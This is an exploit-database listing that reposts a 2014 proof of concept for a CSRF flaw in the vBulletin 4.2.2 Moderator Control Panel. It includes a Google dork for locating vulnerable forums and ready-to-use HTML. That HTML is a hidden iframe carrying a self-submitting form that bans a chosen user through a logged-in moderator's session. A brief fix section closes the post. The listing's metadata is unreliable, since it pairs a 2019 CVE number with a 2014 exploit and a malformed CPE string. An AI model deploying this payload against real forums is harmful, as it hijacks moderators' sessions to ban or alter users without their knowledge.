Advertisement






vBulletin Moderator Control Panel 4.2.2 CSRF

CVE Category Price Severity
CVE-2019-16759 CWE-352 $500 High
Author Risk Exploitation Type Date
Unkn0wn High Remote 2014-12-18
CPE
cpe:cpe:/a:vbulletin:moderator_control_panel:4.2.2
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014120124

Below is a copy:

# Exploit Title: vBulletin Moderator Control Panel CSRF
# Google Dork: "Powered by vBulletin Version 4.2.2"
# Date: 16-12-2014
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
# Software Link: Premium
# Version: vBulletin 4.2.2
# Tested on: Chrome and Firefox
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst


### 1. Description
   
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests. 

vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header. 

This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on. 
   
### 2. Proof of Concept
 
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:
 
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%" 
src='data:text/html,
<html> 
<body> 
<iframe style="display:none" name="csrf-frame"></iframe>
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
<input type="hidden" name="do" value="dobanuser" > 
<input type="hidden" name="adminhash" value="" > 
<input type="hidden" name="securitytoken" value="" >
<input type="hidden" name="username" value="UserToBeBanned" > 
<input type="hidden" name="usergroupid" value="8" >
<input type="hidden" name="period" value="D_7" > 
<input type="hidden" name="reason" value="Banned with CSRF" >
<input type="submit" value="submit"> 
</form> 
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script> 
</body>
</html>'>
</iframe>
 
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.
   
### 3. Solution:

Do not allow POST requests without a Referer header.
Verify "adminhash" and "securitytoken" to be valid.



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum